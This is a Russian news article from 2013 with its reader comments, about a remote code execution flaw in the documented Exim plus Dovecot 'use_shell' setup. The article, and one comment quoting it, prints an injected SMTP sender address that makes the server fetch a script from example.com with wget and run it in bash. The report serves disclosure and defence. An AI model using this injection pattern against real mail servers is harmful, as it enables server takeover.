The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Опасная уязвимость при использовании рекомендуемых в документации настройках связки Exim и Dovecot

04.05.2013 23:18

В рекомендованном на wiki-сайте проекта и в некоторых других руководствах примере настройки связки почтового сервера Exim с IMAP/POP3-сервером Dovecot выявлена критическая уязвимость, позволяющая выполнить произвольный код на сервере. Уязвимость может быть эксплуатирована через отправку письма со специальным образом оформленным адресом отправителя. Проблема проявляется только в системах, в которых в конфигурации Exim указана опция "use_shell" в блоке подключения Dovecot.

Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства. Всем пользователям связки Exim и Dovecot рекомендуется проверить настройки на предмет отсутствия опции "use_shell", при включении которой агент доставки запускается с использованием shell и передачей параметров в командной строке. Метод эксплуатации достаточно прост и сводится к манипуляции с экранированием спецсимволов, позволяя в итоге добиться выполнения shell-команд.

Например, атакующий может указать:

MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com

В процессе обработки такого запроса exim выполнит

/bin/sh -c "/usr/lib/Dovecot/deliver -e -k -s -f \\"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com"

что приведёт к запуску wget, загрузке внешнего скрипта c сайта example.com/test.sh и его запуску.

 
  1. Главная ссылка к новости (https://www.redteam-pentesting...)
  2. OpenNews: В почтовом сервере Exim 4.80.1 устранена критическая уязвимость
  3. OpenNews: Критическая уязвимость в почтовом сервере Exim
  4. OpenNews: Релиз почтового сервера Exim 4.74 с устранением уязвимости
  5. OpenNews: В Exim обнаружена критическая уязвимость (дополнено - проблема исправлена в Exim 4.70)
  6. OpenNews: Релиз почтового сервера Exim 4.73 с устранением уязвимостей
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/36859-exim
Ключевые слова: exim, dovecot
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (63) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.3, pavlinux (ok), 01:28, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +13 +/
    Ай красава! +100500
     
     
  • 2.5, AnonuS (?), 01:36, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • –2 +/
    > Ай красава! +100500

    Павлик, а ты чего так сильно обрадовался ?

     
     
  • 3.10, pavlinux (ok), 03:14, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +16 +/
    Ну дык:

    > MAIL FROM: red'wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh''bash${IFS}/tmp/p'team@example.com

    А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, double-free, скукотища...  :D

     
     
  • 4.66, AnonuS (?), 00:28, 08/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Ну дык:
    >> MAIL FROM: red'wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh''bash${IFS}/tmp/p'team@example.com
    > А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, double-free, скукотища...
    >  :D

    Да, ты прав, это действительно новое слово в науке и технике, свежая струя так сказать...

    :-)))

     

  • 1.6, Аноним (-), 01:44, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • –1 +/
    ohh shit

    address_pipe:
    driver = pipe
    ignore_status
    return_output
    use_shell

     
  • 1.8, Аноним (-), 02:33, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]      [к модератору]
  • +2 +/
    что вы в фичах понимаете :) это же так удобно! и никаких RMS не нужно :)
     
  • 1.9, Sylvia (ok), 03:03, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    таки проблема на стороне Exim, эхх, опять г-н Сирайнен денег не даст за дырку (:
     
     
  • 2.13, Аноним (-), 08:33, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    Конечно, не даст. Дырка-то не его.
     

  • 1.11, koblin (ok), 03:35, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +5 +/
    распространение "уязвимости" через вики с документацией! а что, хорошая идея
     
     
  • 2.15, Аноним (-), 09:17, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    unixway для вирусов
     
     
  • 3.36, all_glory_to_the_hypnotoad (ok), 12:55, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    exim с его вики это не юникс вей
     

  • 1.12, Аноним (-), 08:31, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • –1 +/
    Начинающий почтовик задает вопрос гуру. Зачем Exim нужен Dovecot-у.
     
     
  • 2.14, Аноним (-), 08:47, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Не-а. Zimbra возьму лучше.
     
  • 2.23, robux (ok), 10:42, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    Обратный вопрос: зачем exim'у нужен dovecot?
    Экзим и не зная ничего об довекоте прекрасно работает.
     
     
  • 3.25, DeadLoco (ok), 10:43, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    > Обратный вопрос: зачем exim'у нужен dovecot?
    > Экзим и не зная ничего об довекоте прекрасно работает.

    Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...

     
     
  • 4.29, pavlinux (ok), 12:20, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    >> Обратный вопрос: зачем exim'у нужен dovecot?
    >> Экзим и не зная ничего об довекоте прекрасно работает.
    > Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...

    Представь себе! Exim - это SMTP


     
     
  • 5.34, DeadLoco (ok), 12:45, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    >>> Экзим и не зная ничего об довекоте прекрасно работает.
    >> Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...
    > Представь себе! Exim - это SMTP

    Экзим - это программа!

     
     
  • 6.41, rshadow (ok), 14:33, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Отмаз не защитан.
     
  • 6.44, pavlinux (ok), 15:02, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    > Экзим - это программа!

    Программа - это "Здоровье" с Еленой Малышевой, а Exim - это MTA (Mail ТруЪ Agent)!

     
     
  • 7.55, DeadLoco (ok), 23:06, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Exim - это SMTP
    > Exim - это MTA

    Прям, не программа, а какой-то Людовик Четырнадцатый в бинарном представлении...

     
     
  • 8.60, pavlinux (ok), 16:27, 06/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    BMW Z4 - машина BMW Z4 в пос Кукуево - понты граничащие с маразмом ... текст свёрнут, показать
     
     
  • 9.62, DeadLoco (ok), 18:57, 06/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    BMW Z4 в придорожном столбе вследствие неумения обращаться с - источник лулзов... текст свёрнут, показать
     
  • 4.48, robux (ok), 17:18, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –2 +/
    > Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...

    Ваша логика: "Сталин воевал с Гитлером, поэтому они братья".

    Exim и Dovecot пересекаются только на общих базах [сообщений и юзеров].
    На общих базах, понимаешь? При этом на уровне API они не обязаны быть связаны.

    То, что кто-то костыляет одно через другое, тем более привязывает MTA к POP-серверу (а не наоборот), то он сам себе злой буратинко. О чем в новости и написано.

     
     
  • 5.49, quux (??), 18:57, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    MTA вызывает MDA для локальной доставки, где вы API и привязки какие-то увидели ?
     
     
  • 6.56, DeadLoco (ok), 23:15, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > MTA вызывает MDA для локальной доставки, где вы API и привязки какие-то увидели ?

    Ну, очень удобно из экзима обращаться к довекотовскому аутентификатору, например, для TLS. И вообще, если рядом с экзимом живет довекот, то LDA, фильтрацию, квоты и аутентификацию гораздо удобнее и функциональнее спихнуть именно на довекот.

     
  • 5.64, Аноним (-), 20:31, 06/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    а вот спорим, что вы сами никогда реальный почтовый сервер не поднимали...
     
  • 3.51, angra (ok), 20:03, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Работает конечно, но вот только единый механизм аутентификации и укладки писем в maildir лучше чем два независимых. Ну а там где почтовик просто посылает всю почту на другой хост обычно nullmailer хватает.

     
     
  • 4.57, DeadLoco (ok), 23:25, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > Работает конечно, но вот только единый механизм аутентификации
    > и укладки писем в maildir лучше чем два независимых.

    Укладки _И_ извлечения!

    У всех, кто не пользуется довекотовским ЛДА из МТА, наверчены жуткие извраты в пермишнах мейлдиров.

     
  • 2.27, анон (?), 12:14, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +1 +/
    Dovecot не MTA, а exim MTA.

    Ваш К.О.

     
  • 2.50, kombat (ok), 19:48, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    это когда фетчмейл получив с внешнего ящика письмо, отправляет екзиму, например, на локалхост:25, а тот кладет в мейлдир, который довекотом отдается локальному юзеру через поп или имап.
     

  • 1.16, YetAnotherOnanym (ok), 09:29, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +3 +/
    Вот поэтому надо самому курить документацию на софт (а также основополагающие документы типа RFC), а не настраивать, как обезьяна, по статьям на сторонних ресурсах.
    Да, это долго и муторно, но по-другому никак.
     
     
  • 2.20, Int (?), 09:49, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    >Вот поэтому надо самому курить документацию на софт (а также основополагающие документы типа RFC), а не настраивать, как обезьяна, по статьям на сторонних ресурсах.

    "Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot"

    официальный сайт это сторонний ресурс ? делаааа

     
     
  • 3.37, анон (?), 12:57, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +2 +/
    Я видел эту статью, но мне хватило мозгов, не тупо скопировать, а розобраться что означает _каждый_ параметр в примере. И я убрал use_shell, поскольку он мне не нужен был - он вообще мало кому нужен.
     
     
  • 4.38, анон (?), 13:02, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Вообще надо быть крайне одаренным эникеем, чтоб скопировать и не обратить внимание на этот параметр, который в названии просто кричит о своей подлой сущности.


     
  • 3.46, arisu (ok), 15:21, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    на официальных сайтах надо давать примеры с патчем Бармина, и только такие. чтобы дебилы отсеивались ещё на подлёте.
     
     
  • 4.47, анон (?), 17:14, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Да это и есть бармин в чистом виде, только сильно отложенный. Но, думаю, те кто умеют читать между строк, с этого руководства свой профит поимели.
     
  • 2.22, DeadLoco (ok), 10:35, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Это еще что! Мне как-то доводилось переделывать почтовик, настроенный по статье "у Лисяры". Так в статье с шутками и прибаутками рекомендовалось почтовику давать рутовый доступ к БД и ФС.
     
     
  • 3.30, pavlinux (ok), 12:23, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    >  рекомендовалось почтовику давать рутовый доступ к БД и ФС.

    Если чо, рут у базы данных != root в /etc/passwd

     
     
  • 4.33, DeadLoco (ok), 12:44, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    >>  рекомендовалось почтовику давать рутовый доступ к БД и ФС.
    > Если чо, рут у базы данных != root в /etc/passwd

    Если чо, то в рутовом доступе к БД веселого очень немного.

     
     
  • 5.39, Аноним (-), 14:10, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +3 +/
    > Если чо, то в рутовом доступе к БД веселого очень немного.

    Таких б@лванов, тем не менее, просто мечут, как икру.

    Лисяра, в этом отношении, просто редкостно од@ренный тип: "Я не стал разбираться, почему не работает, просто дал chmod 777 *".

    О принципе наименьшей привилегии вообще мало кто слышал из кр@сноглазых "самоучек". Гении среди гогна и удобрений.

     
     
  • 6.42, rshadow (ok), 14:36, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Обыкновенные пользователи. Они навсех системах одинаковы.
     
  • 6.43, rshadow (ok), 14:38, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > О принципе наименьшей привилегии...

    Зато принципом наименьшего сопротивления пользуются все

     
  • 5.45, pavlinux (ok), 15:07, 05/05/2013 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    >>>  рекомендовалось почтовику давать рутовый доступ к БД и ФС.
    >> Если чо, рут у базы данных != root в /etc/passwd
    > Если чо, то в рутовом доступе к БД веселого очень немного.

    Да нет там рута! Там есть привилегии и контекст.  

    Кстати, для полного счастья, и проверки феншуйности вашего UNIX,
    нужно создать другого юзера с UID==0, удалить рута, и проверить
    работоспособность всей системы.

     
     
  • 6.53, DeadLoco (ok), 22:58, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • –1 +/
    > Кстати, для полного счастья, и проверки феншуйности вашего UNIX,
    > нужно создать другого юзера с UID==0, удалить рута, и проверить
    > работоспособность всей системы.

    Так оно у меня так штатно делается уже хрен знает сколько лет.

     
  • 6.54, DeadLoco (ok), 23:03, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > Да нет там рута! Там есть привилегии и контекст.

    При установке мускля автоматом создается юзер БД root с пустым паролем и полными привилегиями, включая грант, на таблицу mysql. Так что, я б поостерегся делать скоропалительные заявления.

     
     
  • 7.61, pavlinux (ok), 16:29, 06/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • –1 +/
    >> Да нет там рута! Там есть привилегии и контекст.
    > При установке мускля автоматом создается юзер БД root с пустым паролем и
    > полными привилегиями, включая грант, на таблицу mysql. Так что, я б
    > поостерегся делать скоропалительные заявления.

    ПИН-код на кредитке фломастером не пишешь? :)

     
     
  • 8.63, DeadLoco (ok), 19:13, 06/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Неа Я всего лишь пытаюсь донести до общественности простую мысль, что на боль... текст свёрнут, показать
     

  • 1.17, Дед Анон (?), 09:37, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    Ахренеть! Вот это скорость! Вот это официальный ман на Wiki!
     
  • 1.18, Drontozaurus (?), 09:45, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]      [к модератору]
  • +/
    Есть замечательный проект - Exim4U (exim4u.org), облегчающий процесс приручения к виртуальным доменам. MySQL, SPF, DKIM и т.д. Единственный его косяк - хранение паролей в чистом виде по-умолчанию, что замечательно переделывается на хэши, поддерживаемые как exim так и dovecot.
     
  • 1.19, Int (?), 09:48, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]      [к модератору]
  • +1 +/
    >Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства.

    Смешно. Охренено смешно. :(

     
  • 1.21, Прохожий (??), 10:07, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +3 +/
    Думать своей головой надо.
     
     
  • 2.24, DeadLoco (ok), 10:42, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    > Думать своей головой надо.

    И доки читать


    EXIM 29:5
    If this option is set, it causes the command to be passed to /bin/sh instead of being run directly from the transport, as described in section 29.3. This is less secure, but is needed in some situations where the command is expected to be run under a shell and cannot easily be modified


     

  • 1.26, vitalif (?), 11:40, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • –1 +/
    У меня с EXIM'ом знакомство пока как-то по такому алгоритму: поставил, посмотрел, решил какой-то он косой, снёс, поставил postfix.
     
     
  • 2.28, quux (??), 12:19, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +5 +/
    Увы это больше говорит о вас нежели об exim'e.
     

  • 1.31, Аноним (-), 12:30, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    Morris Worm strikes back!
     
  • 1.32, Аноним (32), 12:37, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    прыщеглазики опять прощляпили
     
     
  • 2.40, Аноним (-), 14:14, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > прыщеглазики опять прощляпили

    Прыщебл@дам просто западло академическое образование получать. Поколение вики, блжад. Принцип наименьшей привилегии в универнситетах вколачивают в тупые головы студоты!

     
     
  • 3.52, angra (ok), 20:10, 05/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +1 +/
    Увы, но уровень знаний преподов в области IT в наших универах зачастую ниже чем у эникейщиков. Во многих местах до сих программирование по трупопаскакалю изучают, а ОСи по менюшкам ворда.


     

  • 1.35, Михрютка (ok), 12:54, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +3 +/
    как дети чесслово. шеллы какие-то, эскейпирование.

    учитесь, как настоящие энтерпрайзные дырки в почте делать-то надо

    http://www-01.ibm.com/support/docview.wss?uid=swg21633819

    "The IBM Notes mail client accepts Java applet tags and JavaScript tags inside HTML emails, making it possible to load Java applets and scripts from a remote location."

     
     
  • 2.65, Andrey Mitrofanov (?), 23:20, 06/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > как дети чесслово. шеллы какие-то, эскейпирование.
    > учитесь, как настоящие энтерпрайзные дырки в почте делать-то надо

    Нет, Только bash! Ленин завещал учиться, но до до джаввы же.

    > "The IBM Notes mail client accepts Java applet tags and JavaScript tags

     

  • 1.58, Аноним (-), 03:02, 06/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    Учитесь как надо:

    local_delivery:
      driver = lmtp
      user = mail
      socket = /run/dovecot/lmtp

    Скока лет ни одной новой дырки.

     
  • 1.59, Аноним (-), 13:13, 06/05/2013 [ответить] [﹢﹢﹢] [ · · · ]      [к модератору]
  • +/
    а как же noexec в /tmp ?
     
     
  • 2.67, Аноним (-), 12:45, 08/05/2013 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Редко применяется, так как во многихдистрибутивах во время апгрейда пакетов запускаются постинстал скрипты из /tmp
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру